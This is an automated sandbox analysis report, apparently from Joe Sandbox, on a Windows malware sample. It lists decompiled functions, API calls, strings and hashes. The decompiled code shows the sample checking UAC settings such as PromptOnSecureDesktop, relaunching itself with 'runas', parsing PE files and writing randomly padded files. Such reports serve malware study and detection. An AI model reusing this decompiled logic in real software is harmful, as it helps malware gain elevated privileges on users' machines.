RegCloseKey.ADVAPI32(?), ref: 004072D0
RegCloseKey.ADVAPI32(?), ref: 00407314
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040738D
RegCloseKey.ADVAPI32(?), ref: 004073D8

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

Strings

Ct, xrefs: 00407093, 0040719B, 00407096
PromptOnSecureDesktop, xrefs: 004070AE, 004070B3, 00407118, 00407165, 004071BF, 004071D9, 004071F3, 00407264, 0040727F, 0040734A
, xrefs: 00407061

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: Close$AttributesEnumFileOpenValue___ascii_stricmplstrlen
String ID: $PromptOnSecureDesktop$Ct
API String ID: 4293430545-65454257
Opcode ID: df9fb8698735da703c9513efeb9e5005b2c7850a4ce7d3985355b06bc3c585b2
Instruction ID: 42610d5d4912e138811464987e42a56107d9bf2f6382ea6b9d81aa24fc4965e2
Opcode Fuzzy Hash: df9fb8698735da703c9513efeb9e5005b2c7850a4ce7d3985355b06bc3c585b2
Instruction Fuzzy Hash: B5B17071D08209BAEB159FA1DC45BEF77B8AB04304F20047BF501F61D1EB79AA94CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00409326, Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 284
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			E00409326(void* __ecx, void* __edx) {
				void* __ebx;
				char _t88;
				void* _t89;
				int _t92;
				int _t94;
				void* _t96;
				signed int _t97;
				signed int _t100;
				signed int _t103;
				char* _t106;
				long _t107;
				char* _t111;
				signed int _t112;
				char* _t116;
				signed int _t117;
				int _t119;
				void* _t146;
				signed int _t155;
				int _t161;
				signed int _t165;
				signed int _t167;
				void* _t168;
				void* _t170;
				void* _t172;
				void* _t173;
				void* _t175;
				void* _t176;

				_t146 = __ecx;
				_t168 = _t170 - 0x60;
				E00401910(0x19bc);
				 *(_t168 - 0x58) = 0x9c;
				if(GetVersionExA(_t168 - 0x58) == 0) {
					 *(_t168 - 0x4c) =  *(_t168 - 0x4c) & 0x00000000;
					_t9 = _t168 + 0x58;
					 *_t9 =  *(_t168 + 0x58) & 0x00000000;
					__eflags =  *_t9;
				} else {
					 *(_t168 + 0x58) = ( *(_t168 - 0x54) << 4) +  *((intOrPtr*)(_t168 - 0x50));
				}
				_t88 = GetModuleFileNameA(GetModuleHandleA(0), _t168 - 0x15c, 0x104);
				if(_t88 == 0) {
					 *(_t168 - 0x15c) = _t88;
				}
				_push( *((intOrPtr*)(_t168 + 0x70)));
				_t89 = _t168 - 0x15c;
				if( *(_t168 + 0x78) == 0) {
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8,  &E00410918, 0xbd, 0xe4, 0xc8));
					_t172 = _t170 + 0x40;
				} else {
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8, 0x4109d8, 0x4d, 0xe4, 0xc8));
					_t172 = _t170 + 0x38;
				}
				 *(_t168 + 0x78) = _t92;
				E0040EE2A(_t146, 0x4122f8, 0, 0x100);
				_t173 = _t172 + 0xc;
				if( *(_t168 + 0x58) >= 0x60 &&  *((intOrPtr*)(_t168 + 0x7c)) != 0) {
					E0040EF00(_t168 - 0x15c, E00406CC9(_t146));
					E0040EF1E(_t168 - 0x15c, E00402544(0x4122f8,  &E0041090C, 0xc, 0xe4, 0xc8));
					_push(_t168 - 0x15c);
					wsprintfA(_t168 +  *(_t168 + 0x78) - 0x95c, E00402544(0x4122f8,  &E00410888, 0x82, 0xe4, 0xc8));
					E0040EE2A(_t146, 0x4122f8, 0, 0x100);
					_t173 = _t173 + 0x50;
				}
				 *(_t168 + 0x78) =  *(_t168 + 0x78) & 0x00000000;
				_t94 = E00406EDD(); // executed
				 *(_t168 + 0x5c) = _t94;
				if( *(_t168 + 0x58) < 0x60) {
					_t165 =  *(_t168 + 0x78);
					_t161 = 0;
					__eflags = 0;
					L33:
					__eflags =  *(_t168 + 0x5c) - _t161;
					if( *(_t168 + 0x5c) == _t161) {
						L38:
						_push(_t168 - 0x95c);
						_push(_t161); // executed
						L39:
						_t96 = E004091EB(); // executed
						__eflags =  *0x412180 - _t161; // 0x0
						if(__eflags != 0) {
							 *0x412180 =  *0x412180 | _t165;
							__eflags =  *0x412180;
						}
						__eflags = _t96 - 0x2a;
						_t81 = _t96 == 0x2a;
						__eflags = _t81;
						_t97 = 0 | _t81;
						L42:
						return _t97;
					}
					_t100 = E00401820(_t168 + 0x54, _t168 + 0x78); // executed
					__eflags = _t100;
					if(_t100 != 0) {
						_push(_t168 - 0x95c);
						_push("runas");
						goto L39;
					}
					_t103 =  *(_t168 + 0x78) | 0x61080000;
					__eflags = _t103;
					 *0x412180 = _t103;
					 *0x41217c =  *(_t168 + 0x54);
					if(_t103 != 0) {
						 *0x412180 = _t103 | _t165;
					}
					L31:
					_t97 = 0;
					goto L42;
				}
				 *(_t168 + 0x4c) = 4;
				 *(_t168 + 0x44) = 5;
				 *(_t168 + 0x48) = 1;
				_t106 = E00402544(0x4122f8,  &E0041084C, 0x3a, 0xe4, 0xc8);
				_t175 = _t173 + 0x14;
				_t107 = RegOpenKeyExA(0x80000002, _t106, 0, 0x101, _t168 + 0x50); // executed
				if(_t107 == 0) {
					_t111 = E00402544(0x4122f8, 0x410830, 0x1b, 0xe4, 0xc8);
					_t176 = _t175 + 0x14;
					_t112 = RegQueryValueExA( *(_t168 + 0x50), _t111, 0, _t168 + 0x54, _t168 + 0x44, _t168 + 0x4c); // executed
					__eflags = _t112;
					if(_t112 == 0) {
						_t116 = E00402544(0x4122f8, 0x410818, 0x16, 0xe4, 0xc8);
						_t176 = _t176 + 0x14;
						_t117 = RegQueryValueExA( *(_t168 + 0x50), _t116, 0, _t168 + 0x54, _t168 + 0x48, _t168 + 0x4c); // executed
						__eflags = _t117;
						if(_t117 != 0) {
							 *(_t168 + 0x78) = 0x3000;
						}
					} else {
						 *(_t168 + 0x78) = 0x2000;
					}
					RegCloseKey( *(_t168 + 0x50)); // executed
					_t165 =  *(_t168 + 0x78);
				} else {
					_t165 = 0x1000;
				}
				_t161 = 0;
				if( *(_t168 + 0x44) != 0 ||  *(_t168 + 0x48) != 0) {
					if( *(_t168 + 0x5c) <= _t161) {
						goto L38;
					}
					_t119 =  *(_t168 - 0x4c);
					if( *(_t168 + 0x58) < 0x61 || _t119 < 0x1db0) {
						 *0x41217c = _t119;
						_t167 = _t165 | 0x61080106;
						__eflags = _t167;
						goto L30;
					} else {
						if(E0040F0E4(_t168 - 0x95c, _t168 - 0x195c, 0x800) == 0) {
							 *0x41217c = _t161;
							_t167 = _t165 | 0x61080107;
							L30:
							 *0x412180 = _t167;
							goto L31;
						}
						_t97 = E004018E0(0xc8, _t168 - 0x195c, _t168 + 0x5c, _t168 + 0x78);
						if(_t97 == _t161) {
							_t155 =  *(_t168 + 0x78) | 0x61080000;
							 *0x412180 = _t155;
							 *0x41217c =  *(_t168 + 0x5c);
							if(_t155 != 0) {
								 *0x412180 = _t155 | _t165;
							}
						}
						goto L42;
					}
				} else {
					goto L33;
				}
			}

0x00409326
0x00409327
0x00409330
0x00409339
0x00409348
0x00409358
0x0040935c
0x0040935c
0x0040935c
0x0040934a
0x00409353
0x00409353
0x00409375
0x0040937d
0x0040937f
0x0040937f
0x0040938c
0x00409394
0x004093a2
0x004093d9
0x004093dc
0x004093dd
0x004093e0
0x004093e3
0x004093e6
0x004093e9
0x004093ec
0x0040940c
0x00409412
0x004093a4
0x004093a4
0x004093a5
0x004093a8
0x004093ab
0x004093ae
0x004093b1
0x004093ce
0x004093d4
0x004093d4
0x0040941d
0x00409420
0x00409425
0x0040942c
0x00409441
0x0040945d
0x0040946b
0x0040948d
0x0040949b
0x004094a0
0x004094a0
0x004094a3
0x004094a7
0x004094b0
0x004094b3
0x0040962f
0x00409632
0x00409632
0x00409634
0x00409634
0x00409637
0x0040967b
0x00409681
0x00409682
0x00409683
0x00409683
0x0040968a
0x00409690
0x00409692
0x00409692
0x00409692
0x0040969a
0x0040969d
0x0040969d
0x004096a0
0x004096a2
0x004096a9
0x004096a9
0x00409641
0x00409648
0x0040964a
0x00409673
0x00409674
0x00000000
0x00409674
0x00409652
0x00409652
0x00409657
0x0040965c
0x00409662
0x00409666
0x00409666
0x0040962b
0x0040962b
0x00000000
0x0040962b
0x004094ce
0x004094d5
0x004094dc
0x004094e3
0x004094e8
0x004094f1
0x004094f9
0x0040951a
0x0040951f
0x00409526
0x0040952c
0x0040952e
0x00409551
0x00409556
0x0040955d
0x00409563
0x00409565
0x00409567
0x00409567
0x00409530
0x00409530
0x00409530
0x00409571
0x00409577
0x004094fb
0x004094fb
0x004094fb
0x0040957a
0x0040957f
0x0040958d
0x00000000
0x00000000
0x00409597
0x0040959a
0x0040961a
0x0040961f
0x0040961f
0x00000000
0x004095a3
0x004095c0
0x0040960c
0x00409612
0x00409625
0x00409625
0x00000000
0x00409625
0x004095d1
0x004095db
0x004095e7
0x004095ed
0x004095f3
0x004095f9
0x00409601
0x00409601
0x004095f9
0x00000000
0x004095db
0x00000000
0x00000000
0x00000000

APIs

GetVersionExA.KERNEL32(?,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409340
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 0040936E
GetModuleFileNameA.KERNEL32(00000000,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409375
wsprintfA.USER32 ref: 004093CE
wsprintfA.USER32 ref: 0040940C
wsprintfA.USER32 ref: 0040948D
RegOpenKeyExA.KERNELBASE(80000002,00000000,?,?,00000000,00000101,?), ref: 004094F1
RegQueryValueExA.KERNELBASE(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409526
RegCloseKey.KERNELBASE(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409571

Strings

Mt, xrefs: 0040936E
runas, xrefs: 00409674
PromptOnSecureDesktop, xrefs: 0040938A, 0040939D, 004093BD, 004093FB, 0040941C, 0040944F, 00409478, 0040949A, 004094CD, 00409519, 00409550

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop$runas$Mt
API String ID: 3696105349-441857510
Opcode ID: f02c357166c3b313ad7239a7b995eba94aec5ffd6a368f7d9b7db17d98fb20e2
Instruction ID: 7d6f16c0e63263610e399f3f049f45e0da260e43ae629b5557d7a5820381a87a
Opcode Fuzzy Hash: f02c357166c3b313ad7239a7b995eba94aec5ffd6a368f7d9b7db17d98fb20e2
Instruction Fuzzy Hash: 51A171B2540208BBEB21DFA1CC45FDF3BACAB44344F104437FA05E6192D7B999848FA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040675C, Relevance: 19.7, APIs: 13, Instructions: 199
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040675C(CHAR* _a4, long* _a8, long _a12) {
				long _v8;
				void* _v12;
				struct _OVERLAPPED* _v16;
				long _v20;
				struct _OVERLAPPED* _v24;
				long _v28;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v60;
				void _v68;
				long _v72;
				void _v132;
				intOrPtr _v320;
				signed int _v360;
				signed int _v374;
				void _v380;
				void* _t85;
				long _t88;
				int _t92;
				long _t93;
				int _t96;
				long _t99;
				long _t102;
				struct _OVERLAPPED* _t103;
				long _t104;
				long _t115;
				long _t120;
				signed int _t143;
				void* _t146;

				_v16 = 0;
				_v8 = 0;
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 0x80);
				}
				_t85 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 0x80, 0); // executed
				_v12 = _t85;
				if(_t85 == 0xffffffff) {
					_v12 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 4, 0);
				}
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 2);
				}
				if(_v12 != 0xffffffff) {
					_t88 = GetFileSize(_v12, 0);
					_v8 = _t88;
					if(_t88 == 0xffffffff || _t88 == 0) {
						L31:
						_v8 = 0;
					} else {
						_a12 = 0;
						_v28 = 0;
						_t92 = ReadFile(_v12,  &_v132, 0x40,  &_a12, 0); // executed
						if(_t92 == 0) {
							goto L31;
						} else {
							_t93 = SetFilePointer(_v12, _v72, 0, 0); // executed
							if(_t93 == 0xffffffff) {
								goto L31;
							} else {
								_t96 = ReadFile(_v12,  &_v380, 0xf8,  &_v28, 0); // executed
								if(_t96 == 0) {
									goto L31;
								} else {
									_t99 = SetFilePointer(_v12, (_v360 & 0x0000ffff) + _v72 + 0x18, 0, 0); // executed
									if(_t99 == 0xffffffff) {
										goto L31;
									} else {
										_v20 = 0;
										_v24 = 0;
										if(0 < _v374) {
											while(1) {
												_t115 = 0x28;
												_a12 = _t115;
												if(ReadFile(_v12,  &_v68, _t115,  &_a12, 0) == 0) {
													break;
												}
												_t143 = _v374 & 0x0000ffff;
												if(_v24 != _t143 - 1) {
													_t120 = _v48 + _v52;
												} else {
													_t120 = (_v320 + _v60 - 0x00000001 &  !(_v320 - 1)) + _v48;
												}
												_a12 = _t120;
												if(_v20 < _t120) {
													_v20 = _t120;
												}
												_v24 = _v24 + 1;
												if(_v24 < _t143) {
													continue;
												} else {
												}
												goto L23;
											}
											_v8 = 0;
										}
										L23:
										if(_v24 >= (_v374 & 0x0000ffff)) {
											_t102 = _v20;
											if(_v8 > _t102) {
												_v8 = _t102;
											}
											_t103 = E0040EBCC(_v8);
											_v16 = _t103;
											if(_t103 == 0) {
												goto L31;
											} else {
												_t104 = SetFilePointer(_v12, 0, 0, 0); // executed
												if(_t104 == 0xffffffff) {
													L30:
													_v8 = 0;
													E0040EC2E(_v16);
													_v16 = 0;
												} else {
													_t146 = _v16;
													if(ReadFile(_v12, _t146, _v8,  &_v20, 0) == 0) {
														goto L30;
													} else {
														 *(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 0x10) =  *((intOrPtr*)(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 8)) + _v320 - 0x00000001 &  !(_v320 - 1);
														_v8 = _v20;
													}
												}
											}
										}
									}
								}
							}
						}
					}
					FindCloseChangeNotification(_v12); // executed
				}
				 *_a8 = _v8;
				return _v16;
			}

0x0040676a
0x0040676d
0x00406778
0x0040677e
0x0040677e
0x0040679a
0x0040679c
0x004067a2
0x004067b2
0x004067b2
0x004067b8
0x004067bf
0x004067bf
0x004067c9
0x004067d3
0x004067d9
0x004067df
0x0040696b
0x0040696b
0x004067ed
0x00406801
0x00406804
0x00406807
0x0040680b
0x00000000
0x00406811
0x0040681f
0x00406824
0x00000000
0x0040682a
0x0040683e
0x00406842
0x00000000
0x00406848
0x0040685c
0x00406861
0x00000000
0x00406867
0x00406869
0x0040686c
0x00406876
0x00406878
0x0040687a
0x00406881
0x0040688f
0x00000000
0x00000000
0x00406891
0x0040689e
0x004068ba
0x004068a0
0x004068b2
0x004068b2
0x004068bd
0x004068c3
0x004068c5
0x004068c5
0x004068c8
0x004068ce
0x00000000
0x00000000
0x004068d0
0x00000000
0x004068ce
0x004068d2
0x004068d2
0x004068d5
0x004068df
0x004068e5
0x004068eb
0x004068ed
0x004068ed
0x004068f3
0x004068f9
0x004068fe
0x00000000
0x00406900
0x00406906
0x0040690b
0x0040695a
0x0040695d
0x00406960
0x00406966
0x0040690d
0x0040690d
0x00406920
0x00000000
0x00406922
0x0040694f
0x00406955
0x00406955
0x00406920
0x0040690b
0x004068fe
0x004068df
0x00406861
0x00406842
0x00406824
0x0040680b
0x00406971
0x00406971
0x0040697f
0x00406986

APIs

SetFileAttributesA.KERNEL32(?,00000080,?,74E043E0,00000000), ref: 0040677E
CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,74E043E0,00000000), ref: 0040679A
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,74E043E0,00000000), ref: 004067B0
SetFileAttributesA.KERNEL32(?,00000002,?,74E043E0,00000000), ref: 004067BF
GetFileSize.KERNEL32(000000FF,00000000,?,74E043E0,00000000), ref: 004067D3
ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,74E043E0,00000000), ref: 00406807
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,74E043E0,00000000), ref: 0040681F
ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,74E043E0,00000000), ref: 0040683E
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,74E043E0,00000000), ref: 0040685C
ReadFile.KERNEL32(000000FF,?,00000028,00408244,00000000,?,74E043E0,00000000), ref: 0040688B
SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000000,?,74E043E0,00000000), ref: 00406906
ReadFile.KERNEL32(000000FF,004121A8,00000000,00408244,00000000,?,74E043E0,00000000), ref: 0040691C
FindCloseChangeNotification.KERNELBASE(000000FF,?,74E043E0,00000000), ref: 00406971

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: File$Read$Pointer$AttributesCreateHeap$ChangeCloseFindFreeNotificationProcessSize
String ID:
API String ID: 1400801100-0
Opcode ID: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction ID: 23622665348289c9bdc7ba1e7bdf6275147e3319f3664adf7917ee5564634b96
Opcode Fuzzy Hash: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction Fuzzy Hash: E47109B1D00219EFDB109FA5CC809EEBBB9FB04314F11457AF516B6290E7349EA2DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00406A60, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 106
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406A60(int __edx, CHAR* _a4, intOrPtr _a8, int _a12) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				void* _v12;
				long _v16;
				long _v20;
				long _v24;
				intOrPtr _v28;
				long _v32;
				void* _t31;
				int _t42;
				intOrPtr _t43;
				int _t44;
				void* _t53;
				int _t59;
				CHAR* _t68;
				void* _t69;
				int _t73;

				_t59 = __edx;
				_t68 = _a4;
				_t31 = CreateFileA(_t68, 0x40000000, 0, 0, 2, 0x80, 0); // executed
				_v12 = _t31;
				if(_t31 == 0xffffffff) {
					 *0x412180 = 0x61080101;
					 *0x41217c = GetLastError();
					__eflags = 0;
					return 0;
				}
				_v8 =  *_t68;
				_v7 = _t68[1];
				_t63 = _a12;
				_v6 = _t68[2];
				_v5 = 0;
				_t42 = GetDiskFreeSpaceA( &_v8,  &_v20,  &_v24,  &_v16,  &_v32); // executed
				if(_t42 == 0) {
					L10:
					_t43 = E00406987(0x500000, _v12, _a8, _a12, _t63); // executed
					_v28 = _t43;
					if(_t43 != 0) {
						_t44 = FindCloseChangeNotification(_v12); // executed
						__eflags = _t44;
						if(_t44 != 0) {
							L15:
							return _v28;
						}
						 *0x412180 = 0x61080103;
						 *0x41217c = GetLastError();
						CloseHandle(_v12);
						L14:
						DeleteFileA(_t68);
						goto L15;
					}
					 *0x412180 = 0x61080102;
					 *0x41217c = GetLastError();
					CloseHandle(_v12);
					goto L14;
				}
				_t53 = E0040EB0E(_v20 * _v24, 0, _v16, 0);
				_t69 = _t69 + 0x10;
				_t73 = _t59;
				if(_t73 < 0) {
					goto L10;
				}
				if(_t73 > 0 || _t53 > 0x6400000) {
					_t22 = E0040ECA5() % 0x500000 + 0xa00000; // 0xa00000
					_t63 = _t22;
					goto L10;
				} else {
					__eflags = _t59;
					if(__eflags < 0) {
						goto L10;
					}
					if(__eflags > 0) {
						L9:
						_t63 = (E0040ECA5() & 0x001fffff) + 0x300000;
						__eflags = (E0040ECA5() & 0x001fffff) + 0x300000;
						goto L10;
					}
					__eflags = _t53 - 0x3200000;
					if(_t53 <= 0x3200000) {
						goto L10;
					}
					goto L9;
				}
			}

0x00406a60
0x00406a68
0x00406a7d
0x00406a83
0x00406a89
0x00406b8c
0x00406b9c
0x00406ba1
0x00000000
0x00406ba1
0x00406a91
0x00406a97
0x00406a9e
0x00406aa1
0x00406ab8
0x00406abb
0x00406ac3
0x00406b1d
0x00406b27
0x00406b2f
0x00406b34
0x00406b5f
0x00406b61
0x00406b63
0x00406b86
0x00000000
0x00406b89
0x00406b65
0x00406b78
0x00406b7d
0x00406b7f
0x00406b80
0x00000000
0x00406b80
0x00406b36
0x00406b49
0x00406b4e
0x00000000
0x00406b4e
0x00406ad2
0x00406ad7
0x00406ada
0x00406adc
0x00000000
0x00000000
0x00406ade
0x00406af5
0x00406af5
0x00000000
0x00406afd
0x00406afd
0x00406aff
0x00000000
0x00000000
0x00406b01
0x00406b0a
0x00406b17
0x00406b17
0x00000000
0x00406b17
0x00406b03
0x00406b08
0x00000000
0x00000000
0x00000000
0x00406b08

APIs

CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,74E481D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B5F
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B6F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B7D
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80
GetLastError.KERNEL32(?,?,?,00409A60,?,?,00409E9D,?,?,?,?,?,00409E9D,?,00000022,?), ref: 00406B96

Strings

PromptOnSecureDesktop, xrefs: 00406A9D

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: CloseErrorLast$FileHandle$ChangeCreateDeleteDiskFindFreeNotificationSpace
String ID: PromptOnSecureDesktop
API String ID: 1251348514-2980165447
Opcode ID: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction ID: 9406106fe81e47b207fd746d5c11beca6957dd7a726dfd862efddfda91f1d23f
Opcode Fuzzy Hash: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction Fuzzy Hash: 8031EEB2900108BFDF00EFA09D45ADF7F78AF48310F15807AE112F7291D674AAA08F69

Uniqueness

Uniqueness Score: -1.00%

Function 0041B5D0, Relevance: 16.6, APIs: 11, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0041B64C
__heap_init.LIBCMTD ref: 0041B656

Part of subcall function 004290D0: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B65B,00000001), ref: 004290E6

_fast_error_exit.LIBCMTD ref: 0041B664

Part of subcall function 0041B7B0: ___crtExitProcess.LIBCMTD ref: 0041B7D4

__mtinit.LIBCMTD ref: 0041B66C
_fast_error_exit.LIBCMTD ref: 0041B677
__RTC_Initialize.LIBCMTD ref: 0041B689
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B6B2
___wsetargv.LIBCMTD ref: 0041B6BC
__wsetenvp.LIBCMTD ref: 0041B6CF
__cinit.LIBCMTD ref: 0041B6E4
__wwincmdln.LIBCMTD ref: 0041B701

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: 9165a939f549af718c1ebb0b9fa8fb31c9b1e24bd400ee3995c05422a3a50353
Instruction ID: b2cafd9d75a249426727a05a878a0132a5f3da8da80f8b4c672cac0913859e69
Opcode Fuzzy Hash: 9165a939f549af718c1ebb0b9fa8fb31c9b1e24bd400ee3995c05422a3a50353
Instruction Fuzzy Hash: E44173B5E403189BDB10EBB2ED02BDE76B4EF5431CF10412EE515A7282EB795540CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041B645, Relevance: 16.6, APIs: 11, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0041B64C
__heap_init.LIBCMTD ref: 0041B656

Part of subcall function 004290D0: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B65B,00000001), ref: 004290E6

_fast_error_exit.LIBCMTD ref: 0041B664

Part of subcall function 0041B7B0: ___crtExitProcess.LIBCMTD ref: 0041B7D4

__mtinit.LIBCMTD ref: 0041B66C
_fast_error_exit.LIBCMTD ref: 0041B677
__RTC_Initialize.LIBCMTD ref: 0041B689
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B6B2
___wsetargv.LIBCMTD ref: 0041B6BC
__wsetenvp.LIBCMTD ref: 0041B6CF
__cinit.LIBCMTD ref: 0041B6E4
__wwincmdln.LIBCMTD ref: 0041B701

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: 171900fc48ac4f4681d7d691f3f72d58005f7ab4ab490ea53a7506f448260957
Instruction ID: ec280fd3d1fabe952a659ddaaf53be4f548e263bf2effdcbb7231d642fbff468
Opcode Fuzzy Hash: 171900fc48ac4f4681d7d691f3f72d58005f7ab4ab490ea53a7506f448260957
Instruction Fuzzy Hash: E93144B5E413189AEB10FBF2B902BDE7660EF5430CF50012FE51966282FB795940CA9A

Uniqueness

Uniqueness Score: -1.00%

Function 006C003C, Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 006C024D

Strings

kernel32.dll, xrefs: 006C008F, 006C0095
cess, xrefs: 006C018D

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 65edf40a287a90c5f3e66935bb64e8329cc55d260c619c3b4c93ff5e93cb011f
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: B8525874A01229DFDB64CF58C985BA8BBB1BF09304F1480D9E94DAB351DB30AE95DF14

Uniqueness

Uniqueness Score: -1.00%

